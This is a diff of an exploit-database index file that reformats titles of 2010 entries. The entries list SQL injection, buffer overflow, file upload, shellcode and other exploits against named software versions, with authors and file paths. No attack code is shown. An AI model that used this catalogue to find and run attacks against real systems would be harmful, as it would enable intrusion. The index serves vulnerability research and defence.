+15049,platforms/php/webapps/15049.txt,"BoutikOne 1.0 - SQL Injection Vulnerability",2010-09-19,BrOx-Dz,php,webapps,0
 15050,platforms/php/webapps/15050.txt,"Opencart 1.4.9.1 Remote File Upload Vulnerability",2010-09-19,Net.Edit0r,php,webapps,0
 15054,platforms/linux/dos/15054.rb,"RarCrack 0.2 Buffer Overflow Proof Of Concept",2010-09-19,The_UnKn@wn,linux,dos,0
 15056,platforms/windows/remote/15056.py,"MOAUB #20 - Java CMM readMabCurveData Stack Overflow",2010-09-20,Abysssec,windows,remote,0
@@ -13110,34 +13110,34 @@ id,file,description,date,author,platform,type,port
 15072,platforms/windows/remote/15072.rb,"Novell iPrint Client ActiveX Control call-back-url Buffer Overflow Exploit (meta)",2010-09-21,Trancer,windows,remote,0
 15073,platforms/windows/remote/15073.rb,"Novell iPrint Client ActiveX Control 'debug' Buffer Overflow Exploit",2010-09-21,Trancer,windows,remote,0
 15074,platforms/linux/local/15074.sh,"Ubuntu Linux 'mountall' Local Privilege Escalation Vulnerability",2010-09-21,fuzz,linux,local,0
-15075,platforms/php/webapps/15075.txt,"wpQuiz v2.7 Authentication Bypass Vulnerability",2010-09-21,KnocKout,php,webapps,0
+15075,platforms/php/webapps/15075.txt,"wpQuiz 2.7 - Authentication Bypass Vulnerability",2010-09-21,KnocKout,php,webapps,0
 15076,platforms/windows/dos/15076.py,"MOAUB #22 - Adobe Shockwave Director tSAC Chunk Memory Corruption",2010-09-22,Abysssec,windows,dos,0
 15078,platforms/asp/webapps/15078.txt,"MOAUB #22 - gausCMS Multiple Vulnerabilities",2010-09-22,Abysssec,asp,webapps,0
-15080,platforms/php/webapps/15080.txt,"Skybluecanvas v1.1-r248 Cross Site Request Forgery Vulnirability",2010-09-22,Sweet,php,webapps,0
-15081,platforms/windows/local/15081.rb,"MP3 Workstation Version 9.2.1.1.2 SEH exploit (MSF)",2010-09-22,MadjiX,windows,local,0
+15080,platforms/php/webapps/15080.txt,"Skybluecanvas 1.1-r248 - Cross Site Request Forgery Vulnirability",2010-09-22,Sweet,php,webapps,0
+15081,platforms/windows/local/15081.rb,"MP3 Workstation 9.2.1.1.2 - SEH exploit (MSF)",2010-09-22,MadjiX,windows,local,0
 15082,platforms/php/webapps/15082.txt,"BSI Hotel Booking System Admin Login Bypass Vulnerability",2010-09-22,K-159,php,webapps,0
-15084,platforms/php/webapps/15084.txt,"Joomla TimeTrack Component v1.2.4 Component Multiple SQL Injection Vulnerabilities",2010-09-22,"Salvatore Fresta",php,webapps,0
+15084,platforms/php/webapps/15084.txt,"Joomla TimeTrack Component 1.2.4 - Component Multiple SQL Injection Vulnerabilities",2010-09-22,"Salvatore Fresta",php,webapps,0
 15085,platforms/php/webapps/15085.txt,"Joomla Component (com_ezautos) SQL Injection Vulnerability",2010-09-22,Gamoscu,php,webapps,0
 15086,platforms/multiple/dos/15086.py,"MOAUB #23 - Adobe Acrobat Reader and Flash 'newfunction' Remote Code Execution Vulnerability",2010-09-23,Abysssec,multiple,dos,0
 15088,platforms/windows/dos/15088.txt,"MOAUB #23 - Microsoft Excel HFPicture Record Parsing Memory Corruption (0day)",2010-09-23,Abysssec,windows,dos,0
 15090,platforms/php/webapps/15090.txt,"WAnewsletter v 2.1.2 SQL Injection Vulnerability",2010-09-23,BrOx-Dz,php,webapps,0
-15091,platforms/php/webapps/15091.txt,"GeekLog v1.3.8  (filemgmt) SQL Injection Vulnerability",2010-09-23,Gamoscu,php,webapps,0
+15091,platforms/php/webapps/15091.txt,"GeekLog 1.3.8 (filemgmt) - SQL Injection Vulnerability",2010-09-23,Gamoscu,php,webapps,0
 15092,platforms/php/webapps/15092.txt,"OvBB v0.16a Multiple Local File Inclusion Vulnerabilities",2010-09-23,cOndemned,php,webapps,0
 15093,platforms/php/webapps/15093.txt,"Collaborative Passwords Manager 1.07 Multiple Local Include Vulnerabilities",2010-09-24,sh00t0ut,php,webapps,0
 15094,platforms/windows/local/15094.py,"MOAUB #24 - Microsoft Excel OBJ Record Stack Overflow",2010-09-24,Abysssec,windows,local,0
 15096,platforms/windows/dos/15096.py,"MOAUB #24 - Microsoft MPEG Layer-3 Audio Decoder Division By Zero",2010-09-24,Abysssec,windows,dos,0
 15098,platforms/php/webapps/15098.txt,"FreePBX <= 2.8.0 Recordings Interface Allows Remote Code Execution",2010-09-24,"Trustwave's SpiderLabs",php,webapps,0
-15099,platforms/windows/local/15099.rb,"SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH)",2010-09-24,"James Fitts",windows,local,0
+15099,platforms/windows/local/15099.rb,"SnackAmp 3.1.3B - SMP Buffer Overflow Vulnerability (SEH)",2010-09-24,"James Fitts",windows,local,0
 15100,platforms/win32/webapps/15100.txt,"Joomla Component (com_elite_experts) SQL Injection Vulnerability",2010-09-24,**RoAd_KiLlEr**,win32,webapps,80
 15102,platforms/win32/webapps/15102.txt,"Traidnt UP - Cross-Site Request Forgery Add Admin Account",2010-09-24,"John Johnz",win32,webapps,80
 15103,platforms/windows/dos/15103.py,"VMware Workstation <= 7.1.1 VMkbd.sys Denial of Service Exploit",2010-09-25,"Lufeng Li",windows,dos,0
 15104,platforms/windows/dos/15104.py,"MOAUB #25 - Mozilla Firefox CSS font-face Remote Code Execution Vulnerability",2010-09-25,Abysssec,windows,dos,0
-15106,platforms/asp/webapps/15106.txt,"MOAUB #25 - VisualSite CMS v1.3 Multiple Vulnerabilities",2010-09-25,Abysssec,asp,webapps,0
-15110,platforms/php/webapps/15110.txt,"E-Xoopport - Samsara <= v3.1 (eCal module) Blind SQL Injection Exploit",2010-09-25,_mRkZ_,php,webapps,0
+15106,platforms/asp/webapps/15106.txt,"MOAUB #25 - VisualSite CMS 1.3 - Multiple Vulnerabilities",2010-09-25,Abysssec,asp,webapps,0
+15110,platforms/php/webapps/15110.txt,"E-Xoopport - Samsara <= 3.1 - (eCal module) Blind SQL Injection Exploit",2010-09-25,_mRkZ_,php,webapps,0
 15112,platforms/windows/dos/15112.py,"MOAUB #26 - Microsoft Cinepak Codec CVDecompress Heap Overflow",2010-09-26,Abysssec,windows,dos,0
 15114,platforms/php/webapps/15114.php,"MOAUB #26 - Zenphoto Config Update and Command Execute Vulnerability",2010-09-26,Abysssec,php,webapps,0
 15116,platforms/windows/shellcode/15116.cpp,"Windows Mobile 6.5 TR (WinCE 5.2) MessageBox Shellcode (ARM)",2010-09-26,"Celil Ünüver",windows,shellcode,0
-15118,platforms/asp/webapps/15118.txt,"Gokhun ASP Stok v1.0 Multiple Remote Vulnerabilities",2010-09-26,KnocKout,asp,webapps,0
+15118,platforms/asp/webapps/15118.txt,"Gokhun ASP Stok 1.0 - Multiple Remote Vulnerabilities",2010-09-26,KnocKout,asp,webapps,0
 15119,platforms/php/webapps/15119.txt,"PEEL Premium 5.71 SQL Injection Vulnerability",2010-09-26,KnocKout,php,webapps,0
 15120,platforms/cfm/webapps/15120.txt,"Blue River Mura CMS Directory Traversal",2010-09-26,mr_me,cfm,webapps,0
 15121,platforms/php/webapps/15121.txt,"PBBoard 2.1.1 Multiple Remote Vulnerabilities",2010-09-27,JiKo,php,webapps,0
@@ -13147,18 +13147,18 @@ id,file,description,date,author,platform,type,port
 15128,platforms/win32/webapps/15128.txt,"Allpc 2.5 osCommerce SQL/XSS Multiple Vulnerabilities",2010-09-27,**RoAd_KiLlEr**,win32,webapps,80
 15130,platforms/cgi/webapps/15130.sh,"Barracuda Networks Spam & Virus Firewall <= 4.1.1.021 Remote Configuration Retrieval",2010-09-27,ShadowHatesYou,cgi,webapps,0
 15131,platforms/windows/dos/15131.txt,"Fox Audio Player 0.8.0 .m3u Denial of Service Vulnerability",2010-09-27,4n0nym0us,windows,dos,0
-15133,platforms/windows/local/15133.pl,"iworkstation Version 9.3.2.1.4 seh exploit",2010-09-27,"sanjeev gupta",windows,local,0
+15133,platforms/windows/local/15133.pl,"iworkstation 9.3.2.1.4 - seh exploit",2010-09-27,"sanjeev gupta",windows,local,0
 15134,platforms/windows/local/15134.rb,"Digital Music Pad Version 8.2.3.3.4 SEH overflow Metasploit Module",2010-09-27,"Abhishek Lyall",windows,local,0
-15135,platforms/php/webapps/15135.txt,"Car Portal v2.0 BLIND SQL Injection Vulnerability",2010-09-27,**RoAd_KiLlEr**,php,webapps,0
+15135,platforms/php/webapps/15135.txt,"Car Portal 2.0 - BLIND SQL Injection Vulnerability",2010-09-27,**RoAd_KiLlEr**,php,webapps,0
 15136,platforms/windows/shellcode/15136.cpp,"Windows Mobile 6.5 TR Phone Call Shellcode",2010-09-27,"Celil Ünüver",windows,shellcode,0
 15139,platforms/asp/webapps/15139.txt,"MOAUB #28 - AtomatiCMS Upload Arbitrary File Vulnerability",2010-09-28,Abysssec,asp,webapps,0
 15141,platforms/php/webapps/15141.txt,"MOAUB #28 - JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability",2010-09-28,Abysssec,php,webapps,0
 15143,platforms/php/webapps/15143.txt,"e107 v0.7.23 SQL Injection Vulnerability.",2010-09-28,"High-Tech Bridge SA",php,webapps,0
-15144,platforms/windows/webapps/15144.txt,"Aleza Portal v1.6 - Insecure (SQLi) Cookie Handling",2010-09-28,KnocKout,windows,webapps,0
-15145,platforms/php/webapps/15145.txt,"Achievo v1.4.3 Multiple Authorization Flaws",2010-09-28,"Pablo Milano",php,webapps,0
-15146,platforms/php/webapps/15146.txt,"Achievo v1.4.3 CSRF Vulnerability",2010-09-28,"Pablo Milano",php,webapps,0
-15147,platforms/php/webapps/15147.txt,"Micro CMS v1.0 b1 Persistent XSS Vulnerability",2010-09-28,"SecPod Research",php,webapps,0
-15148,platforms/windows/dos/15148.txt,"MOAUB #29 - Microsoft Excel SxView  Record Parsing Heap Memory Corruption",2010-09-29,Abysssec,windows,dos,0
+15144,platforms/windows/webapps/15144.txt,"Aleza Portal 1.6 - Insecure (SQLi) Cookie Handling",2010-09-28,KnocKout,windows,webapps,0
+15145,platforms/php/webapps/15145.txt,"Achievo 1.4.3 - Multiple Authorization Flaws",2010-09-28,"Pablo Milano",php,webapps,0
+15146,platforms/php/webapps/15146.txt,"Achievo 1.4.3 - CSRF Vulnerability",2010-09-28,"Pablo Milano",php,webapps,0
+15147,platforms/php/webapps/15147.txt,"Micro CMS 1.0 b1 - Persistent XSS Vulnerability",2010-09-28,"SecPod Research",php,webapps,0
+15148,platforms/windows/dos/15148.txt,"MOAUB #29 - Microsoft Excel SxView Record Parsing Heap Memory Corruption",2010-09-29,Abysssec,windows,dos,0
 15150,platforms/linux/local/15150.c,"Linux Kernel < 2.6.36-rc6 pktcdvd Kernel Memory Disclosure",2010-09-29,"Jon Oberheide",linux,local,0
 15151,platforms/php/webapps/15151.txt,"Webspell 4.2.1 asearch.php SQL Injection Vulnerability",2010-09-29,"silent vapor",php,webapps,0
 15152,platforms/php/webapps/15152.py,"Webspell wCMS-Clanscript4.01.02net<= static&static Blind SQL Injection Vulnerability",2010-09-29,"Easy Laster",php,webapps,0
@@ -13172,29 +13172,29 @@ id,file,description,date,author,platform,type,port
 15162,platforms/php/webapps/15162.rb,"Joomla JE Job Component SQL injection Vulnerability",2010-09-30,"Easy Laster",php,webapps,0
 15163,platforms/php/webapps/15163.rb,"Joomla JE Directory Component SQL Injection Vulnerability",2010-09-30,"Easy Laster",php,webapps,0
 15164,platforms/php/webapps/15164.txt,"JomSocial 1.8.8 Shell Upload Vulnerability",2010-09-30,"Jeff Channell",php,webapps,0
-15165,platforms/php/webapps/15165.txt,"Zen Cart v1.3.9f Multiple Remote Vulnerabilities",2010-10-01,LiquidWorm,php,webapps,0
-15166,platforms/php/webapps/15166.txt,"Zen Cart v1.3.9f (typefilter) Local File Inclusion Vulnerability",2010-10-01,LiquidWorm,php,webapps,0
+15165,platforms/php/webapps/15165.txt,"Zen Cart 1.3.9f - Multiple Remote Vulnerabilities",2010-10-01,LiquidWorm,php,webapps,0
+15166,platforms/php/webapps/15166.txt,"Zen Cart 1.3.9f (typefilter) - Local File Inclusion Vulnerability",2010-10-01,LiquidWorm,php,webapps,0
 15167,platforms/windows/dos/15167.txt,"Microsoft IIS 6.0 ASP Stack Overflow (Stack Exhaustion) Denial of Service (MS10-065)",2010-10-01,Kingcope,windows,dos,0
 15168,platforms/windows/remote/15168.rb,"Trend Micro Internet Security Pro 2010 ActiveX extSetOwner() Remote Code Execution (MSF)",2010-10-01,Trancer,windows,remote,0
 15169,platforms/php/webapps/15169.txt,"Evaria Content Management System 1.1 File Disclosure Vulnerability",2010-10-01,"khayeye shotor",php,webapps,0
-15171,platforms/php/webapps/15171.txt,"jCart v1.1 Multiple XSS/CSRF/Open Redirect Vulnerabilities",2010-10-01,p0deje,php,webapps,0
-15173,platforms/php/webapps/15173.txt,"PhpMyShopping v1.0.1505 Multiple Vulnerabilities",2010-10-01,Metropolis,php,webapps,0
+15171,platforms/php/webapps/15171.txt,"jCart 1.1 - Multiple XSS/CSRF/Open Redirect Vulnerabilities",2010-10-01,p0deje,php,webapps,0
+15173,platforms/php/webapps/15173.txt,"phpMyShopping 1.0.1505 - Multiple Vulnerabilities",2010-10-01,Metropolis,php,webapps,0
 15174,platforms/php/webapps/15174.txt,"Tiki Wiki CMS Groupware 5.2 Multiple Vulnerabilities",2010-10-01,"John Leitch",php,webapps,0
 15175,platforms/php/webapps/15175.txt,"Chipmunk Board 1.3 (index.php?forumID) SQL Injection",2010-10-01,Shamus,php,webapps,0
 15177,platforms/php/webapps/15177.pl,"iGaming CMS <= 1.5 Blind SQL Injection",2010-10-01,plucky,php,webapps,0
-15183,platforms/asp/webapps/15183.py,"Bka Haber v1.0 (Tr) File Disclosure Exploit",2010-10-02,ZoRLu,asp,webapps,0
+15183,platforms/asp/webapps/15183.py,"Bka Haber 1.0 (Tr) - File Disclosure Exploit",2010-10-02,ZoRLu,asp,webapps,0
 15184,platforms/windows/local/15184.c,"AudioTran 1.4.2.4 SafeSEH+SEHOP Exploit",2010-10-02,x90c,windows,local,0
 15185,platforms/asp/webapps/15185.txt,"SmarterMail 7.x (7.2.3925) Stored Cross Site Scripting Vulnerability",2010-10-02,sqlhacker,asp,webapps,0
-15186,platforms/hardware/remote/15186.txt,"FileApp < 2.0 for iPhone, iPad and iPod Touch Directory Traversal Vulnerability",2010-10-02,m0ebiusc0de,hardware,remote,0
-15188,platforms/hardware/dos/15188.py,"FileApp < 2.0 for iPhone, iPad and iPod FTP Remote Denial of Service Exploit",2010-10-02,m0ebiusc0de,hardware,dos,0
+15186,platforms/hardware/remote/15186.txt,"iOS FileApp < 2.0 - Directory Traversal Vulnerability",2010-10-02,m0ebiusc0de,hardware,remote,0
+15188,platforms/hardware/dos/15188.py,"iOS FileApp < 2.0 - FTP Remote Denial of Service Exploit",2010-10-02,m0ebiusc0de,hardware,dos,0
 15189,platforms/asp/webapps/15189.txt,"SmarterMail 7.x (7.2.3925) LDAP Injection Vulnerability",2010-10-02,sqlhacker,asp,webapps,0
 15191,platforms/asp/webapps/15191.txt,"TradeMC E-Ticaret SQL and XSS Multiple Vulnerabilities",2010-10-02,KnocKout,asp,webapps,0
-15193,platforms/windows/dos/15193.pl,"Hanso Player Version 1.3.0 (.m3u) Denial of Service Vulnerability",2010-10-03,"xsploited security",windows,dos,0
+15193,platforms/windows/dos/15193.pl,"Hanso Player 1.3.0 - (.m3u) Denial of Service Vulnerability",2010-10-03,"xsploited security",windows,dos,0
 15194,platforms/php/webapps/15194.txt,"TinyMCE MCFileManager 2.1.2 Arbitrary File Upload Vulnerability",2010-10-03,Hackeri-AL,php,webapps,0
-15198,platforms/php/webapps/15198.txt,"Aprox CMS Engine V6 Multiple Vulnerabilities",2010-10-03,"Stephan Sattler",php,webapps,0
-15199,platforms/asp/webapps/15199.py,"Cilem Haber v1.4.4 (Tr) Database Disclosure Exploit (.py)",2010-10-04,ZoRLu,asp,webapps,0
+15198,platforms/php/webapps/15198.txt,"Aprox CMS Engine 6.0 - Multiple Vulnerabilities",2010-10-03,"Stephan Sattler",php,webapps,0
+15199,platforms/asp/webapps/15199.py,"Cilem Haber 1.4.4 (Tr) - Database Disclosure Exploit (.py)",2010-10-04,ZoRLu,asp,webapps,0
 15200,platforms/php/webapps/15200.txt,"FAQMasterFlex 1.2 SQL Injection Vulnerability",2010-10-04,cyb3r.anbu,php,webapps,0
-15201,platforms/windows/local/15201.rb,"SnackAmp 3.1.3B Malicious SMP Buffer Overflow Vulnerability (SEH - DEP BYPASS)",2010-10-04,"Muhamad Fadzil Ramli",windows,local,0
+15201,platforms/windows/local/15201.rb,"SnackAmp 3.1.3B - SMP Buffer Overflow Vulnerability (SEH - DEP BYPASS)",2010-10-04,"Muhamad Fadzil Ramli",windows,local,0
 15202,platforms/windows/shellcode/15202.c,"win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes",2010-10-04,"Anastasios Monachos",windows,shellcode,0
 15203,platforms/windows/shellcode/15203.c,"generic win32 - add new local administrator 326 bytes",2010-10-04,"Anastasios Monachos",windows,shellcode,0
 15204,platforms/php/webapps/15204.txt,"DNET Live-Stats 0.8 Local File Inclusion Vulnerability",2010-10-04,Blake,php,webapps,0
@@ -13203,14 +13203,14 @@ id,file,description,date,author,platform,type,port
 15207,platforms/php/webapps/15207.txt,"Uebimiau Webmail 3.2.0-2.0 Local File Inclusion Vulnerability",2010-10-04,Blake,php,webapps,0
 15208,platforms/php/webapps/15208.txt,"CuteNews (index.php?page) Local File Inclusion Vulnerability",2010-10-05,eidelweiss,php,webapps,0
 15209,platforms/php/webapps/15209.txt,"SPAW Editor 2.0.8.1 Local File Inclusion Vulnerability",2010-10-05,"soorakh kos",php,webapps,0
-15210,platforms/php/webapps/15210.txt,"Cag CMS Version 0.2 <= XSS & Blind SQL Injection Multiple Vulnerabilities",2010-10-05,Shamus,php,webapps,0
+15210,platforms/php/webapps/15210.txt,"Cag CMS 0.2 - XSS & Blind SQL Injection Multiple Vulnerabilities",2010-10-05,Shamus,php,webapps,0
 15212,platforms/osx/dos/15212.txt,"Adobe Acrobat and Reader Array Indexing Remote Code Execution Vulnerability",2010-10-06,"Knud and nSense",osx,dos,0
 15213,platforms/asp/remote/15213.pl,"ASP.NET Padding Oracle Vulnerability (MS10-070)",2010-10-06,"Giorgio Fedon",asp,remote,0
 15214,platforms/win32/dos/15214.py,"HP Data Protector Media Operations NULL Pointer Dereference Remote DoS",2010-10-06,d0lc3,win32,dos,19813
 15215,platforms/multiple/dos/15215.txt,"Multiple Vendors libc/glob(3) Resource Exhaustion (+0day remote ftpd-anon)",2010-10-07,"Maksymilian Arciemowicz",multiple,dos,0
 15217,platforms/php/webapps/15217.txt,"Feindura File Manager 1.0(rc) Remote File Upload",2010-10-07,KnocKout,php,webapps,0
-15218,platforms/asp/webapps/15218.txt,"xWeblog v2.2 (oku.asp?makale_id) SQL Injection Vulnerability",2010-10-07,KnocKout,asp,webapps,0
-15219,platforms/asp/webapps/15219.py,"xWeblog v2.2 (arsiv.asp tarih) SQL Injection Exploit",2010-10-08,ZoRLu,asp,webapps,0
+15218,platforms/asp/webapps/15218.txt,"xWeblog 2.2 - (oku.asp?makale_id) SQL Injection Vulnerability",2010-10-07,KnocKout,asp,webapps,0
+15219,platforms/asp/webapps/15219.py,"xWeblog 2.2 - (arsiv.asp tarih) SQL Injection Exploit",2010-10-08,ZoRLu,asp,webapps,0
 15220,platforms/php/webapps/15220.txt,"Flex Timesheet Authentication Bypass Vulnerability",2010-10-08,KnocKout,php,webapps,0
 15222,platforms/php/webapps/15222.txt,"Joomla Community Builder Enhenced (CBE) Component LFI/RCE Vulnerability",2010-10-09,"Delf Tonder",php,webapps,0
 15223,platforms/php/webapps/15223.txt,"Chipmunk Pwngame Multiple SQL Injection Vulnerabilities",2010-10-09,KnocKout,php,webapps,0
@@ -13219,13 +13219,13 @@ id,file,description,date,author,platform,type,port
 15227,platforms/php/webapps/15227.txt,"PHP-Fusion MG User-Fotoalbum SQL Injection Vulnerability",2010-10-10,"Easy Laster",php,webapps,0
 15229,platforms/windows/dos/15229.pl,"FoxPlayer 2.3.0 (.m3u) Buffer Overflow Vulnerability",2010-10-10,"Anastasios Monachos",windows,dos,0
 15230,platforms/asp/webapps/15230.txt,"Site2Nite Auto e-Manager SQL Injection Vulnerability",2010-10-10,KnocKout,asp,webapps,0
-15231,platforms/windows/remote/15231.py,"Sync Breeze Server v2.2.30 Remote Buffer Overflow Exploit",2010-10-11,"xsploited security",windows,remote,0
+15231,platforms/windows/remote/15231.py,"Sync Breeze Server 2.2.30 - Remote Buffer Overflow Exploit",2010-10-11,"xsploited security",windows,remote,0
 15232,platforms/php/webapps/15232.txt,"OrangeHRM 2.6.0.1 Local File Inclusion Vulnerability",2010-10-11,ZonTa,php,webapps,0
-15233,platforms/php/webapps/15233.txt,"BaconMap v1.0 SQL Injection Vulnerability",2010-10-11,"John Leitch",php,webapps,0
-15234,platforms/php/webapps/15234.txt,"BaconMap v1.0 Local File Disclosure Vulnerability",2010-10-11,"John Leitch",php,webapps,0
-15235,platforms/windows/remote/15235.html,"AoA Audio Extractor v2.x ActiveX ROP exploit",2010-10-11,mr_me,windows,remote,0
+15233,platforms/php/webapps/15233.txt,"BaconMap 1.0 - SQL Injection Vulnerability",2010-10-11,"John Leitch",php,webapps,0
+15234,platforms/php/webapps/15234.txt,"BaconMap 1.0 - Local File Disclosure Vulnerability",2010-10-11,"John Leitch",php,webapps,0
+15235,platforms/windows/remote/15235.html,"AoA Audio Extractor 2.x - ActiveX ROP exploit",2010-10-11,mr_me,windows,remote,0
 15237,platforms/php/webapps/15237.txt,"AdaptCMS 2.0.1 Beta Release Remote File Inclusion Vulnerability (msf)",2010-10-12,v3n0m,php,webapps,0
-15238,platforms/windows/remote/15238.py,"Disk Pulse Server v2.2.34 Remote Buffer Overflow Exploit",2010-10-12,"xsploited security",windows,remote,0
+15238,platforms/windows/remote/15238.py,"Disk Pulse Server 2.2.34 - Remote Buffer Overflow Exploit",2010-10-12,"xsploited security",windows,remote,0
 15239,platforms/php/webapps/15239.html,"WikiWebHelp v0.3.3 Cross-Site Request Forgery Vulnerability",2010-10-12,Yoyahack,php,webapps,0
 15240,platforms/php/webapps/15240.txt,"Collabtive v0.65 Multiple Vulnerabilities",2010-10-12,"Anatolia Security",php,webapps,0
 15241,platforms/windows/remote/15241.txt,"Oracle Java 6 OBJECT tag ""launchjnlp""/""docbase"" Param Buffer Overflow Exploit",2010-10-13,SkyLined,windows,remote,0
@@ -13234,9 +13234,9 @@ id,file,description,date,author,platform,type,port
 15244,platforms/unix/remote/15244.txt,"Oracle Virtual Server Agent Command Injection",2010-10-13,"Nahuel Grisolia",unix,remote,0
 15245,platforms/solaris/local/15245.txt,"Oracle Solaris CVE-2010-3503 'su' Local Solaris Vulnerability",2010-10-13,prdelka,solaris,local,0
 15247,platforms/php/webapps/15247.txt,"Exponent CMS v0.97 Multiple Vulnerabilities",2010-10-13,LiquidWorm,php,webapps,0
-15248,platforms/windows/dos/15248.txt,"Multiple Buffer Overflows in Winamp v5.5.8.2985",2010-10-13,"Luigi Auriemma",windows,dos,0
+15248,platforms/windows/dos/15248.txt,"Winamp 5.5.8.2985 - Multiple Buffer Overflows",2010-10-13,"Luigi Auriemma",windows,dos,0
 15249,platforms/php/webapps/15249.txt,"Data/File upload and management Arbitrary File Upload Vulnerability",2010-10-14,saudi0hacker,php,webapps,0
-15250,platforms/windows/dos/15250.py,"Ease Jukebox v1.30 Denial of Service Vulnerability",2010-10-14,Sweet,windows,dos,0
+15250,platforms/windows/dos/15250.py,"Ease Jukebox 1.30 - Denial of Service Vulnerability",2010-10-14,Sweet,windows,dos,0
 15251,platforms/php/webapps/15251.txt,"Xlrstats 2.0.1 SQL Injection Vulnerability",2010-10-14,Sky4,php,webapps,0
 15254,platforms/php/webapps/15254.txt,"KCFinder 2.2 Arbitrary File Upload Vulnerability",2010-10-15,saudi0hacker,php,webapps,0
 15257,platforms/windows/dos/15257.py,"PCDJ Karaoki 0.6.3819 Denial of Service Vulnerability",2010-10-15,"MOHAMED ABDI",windows,dos,0
@@ -13253,12 +13253,12 @@ id,file,description,date,author,platform,type,port
 15268,platforms/php/webapps/15268.txt,"WikiWebHelp <= 0.3.3 Insecure Cookie Handling Vulnerability",2010-10-17,FuRty,php,webapps,0
 15269,platforms/php/webapps/15269.txt,"Tastydir <= 1.2 (1216) Multiple Vulnerabilities",2010-10-17,R,php,webapps,0
 15270,platforms/asp/webapps/15270.txt,"Kisisel Radyo Script - Multiple Vulnerabilities",2010-10-17,FuRty,asp,webapps,0
-15273,platforms/multiple/dos/15273.txt,"Opera v10.63 SVG animation Element Denial of Service",2010-10-17,fla,multiple,dos,0
+15273,platforms/multiple/dos/15273.txt,"Opera 10.63 - SVG Animation Element Denial of Service",2010-10-17,fla,multiple,dos,0
 15274,platforms/linux/local/15274.txt,"GNU C library dynamic linker $ORIGIN expansion Vulnerability",2010-10-18,"Tavis Ormandy",linux,local,0
 15276,platforms/php/webapps/15276.txt,"411cc Multiple SQL Injection Vulnerabilities",2010-10-18,KnocKout,php,webapps,0
 15277,platforms/php/webapps/15277.txt,"GeekLog 1.7.0 (fckeditor) Arbitrary File Upload Vulnerability",2010-10-18,"Kubanezi AHG",php,webapps,0
 15278,platforms/php/webapps/15278.txt,"CubeCart 2.0.1 SQL Injection Vulnerability",2010-10-18,X_AviaTique_X,php,webapps,0
-15279,platforms/windows/local/15279.rb,"FatPlayer 0.6b Malicious WAV Buffer Overflow Vulnerability (SEH)",2010-10-18,"James Fitts",windows,local,0
+15279,platforms/windows/local/15279.rb,"FatPlayer 0.6b - (.wav) Buffer Overflow Vulnerability (SEH)",2010-10-18,"James Fitts",windows,local,0
 15280,platforms/php/webapps/15280.html,"Travel Portal Script Admin Password Change CSRF Vulnerability",2010-10-19,KnocKout,php,webapps,0
 15281,platforms/php/webapps/15281.html,"Event Ticket Portal Script Admin Password Change CSRF Vulnerability",2010-10-19,KnocKout,php,webapps,0
 15283,platforms/windows/dos/15283.txt,"Hanso Converter <= 1.4.0 .ogg Denial of Service Vulnerability",2010-10-19,anT!-Tr0J4n,windows,dos,0
@@ -13272,7 +13272,7 @@ id,file,description,date,author,platform,type,port
 15295,platforms/php/webapps/15295.html,"sNews CMS Multiple XSS Vulnerabilities",2010-10-21,"High-Tech Bridge SA",php,webapps,0
 15296,platforms/windows/remote/15296.txt,"Adobe Shockwave player rcsL chunk memory corruption 0day",2010-10-21,Abysssec,windows,remote,0
 15297,platforms/windows/dos/15297.txt,"Windows Mobile 6.1 and 6.5 Double Free Denial of Service",2010-10-21,"musashi karak0rsan",windows,dos,0
-15298,platforms/multiple/remote/15298.txt,"Sawmill Enterprise < v8.1.7.3 Multiple Vulnerabilities",2010-10-21,"SEC Consult",multiple,remote,0
+15298,platforms/multiple/remote/15298.txt,"Sawmill Enterprise < 8.1.7.3 - Multiple Vulnerabilities",2010-10-21,"SEC Consult",multiple,remote,0
 15300,platforms/php/webapps/15300.txt,"Squirrelcart PRO 3.0.0 Blind SQL Injection Vulnerability",2010-10-21,"Salvatore Fresta",php,webapps,0
 15301,platforms/windows/dos/15301.pl,"Altova DatabaseSpy 2011 Project File Handling Buffer Overflow Vulnerability",2010-10-21,LiquidWorm,windows,dos,0
 15302,platforms/windows/dos/15302.py,"Spider Player 2.4.5 Denial of Service Vulnerability",2010-10-22,"MOHAMED ABDI",windows,dos,0
@@ -13289,23 +13289,23 @@ id,file,description,date,author,platform,type,port
 15315,platforms/arm/shellcode/15315.S,"ARM Bind Connect UDP Port 68",2010-10-26,"Daniel Godas-Lopez",arm,shellcode,0
 15316,platforms/arm/shellcode/15316.S,"ARM Loader Port 0x1337",2010-10-26,"Daniel Godas-Lopez",arm,shellcode,0
 15317,platforms/arm/shellcode/15317.S,"ARM ifconfig eth0 and Assign Address",2010-10-26,"Daniel Godas-Lopez",arm,shellcode,0
-15318,platforms/linux/remote/15318.txt,"NitroSecurity ESM v8.4.0a Remote Code Execution",2010-10-26,"Filip Palian",linux,remote,0
+15318,platforms/linux/remote/15318.txt,"NitroSecurity ESM 8.4.0a - Remote Code Execution",2010-10-26,"Filip Palian",linux,remote,0
 15319,platforms/windows/dos/15319.pl,"Apache 2.2 (Windows) Local Denial of Service",2010-10-26,FB1H2S,windows,dos,0
 15320,platforms/php/webapps/15320.py,"Bigace_2.7.3 CSRF Change Admin Password POC",2010-10-26,Sweet,php,webapps,0
-15321,platforms/php/webapps/15321.txt,"DBHcms v1.1.4 (dbhcms_user and searchString) SQL Injection Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
-15322,platforms/php/webapps/15322.txt,"phpLiterAdmin v1.0 RC1 Authentication Bypass Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
-15323,platforms/php/webapps/15323.txt,"DZCP (deV!Lz Clanportal) v1.5.4 Local File Inclusion Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
-15324,platforms/php/webapps/15324.txt,"Novaboard v1.1.4 Local File Inclusion Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
-15325,platforms/php/webapps/15325.txt,"MyBB v1.6 Full Path Disclosure Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
+15321,platforms/php/webapps/15321.txt,"DBHcms 1.1.4 (dbhcms_user and searchString) - SQL Injection Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
+15322,platforms/php/webapps/15322.txt,"phpLiterAdmin 1.0 RC1 - Authentication Bypass Vulnerability",2010-10-27,"High-Tech Bridge SA",php,webapps,0
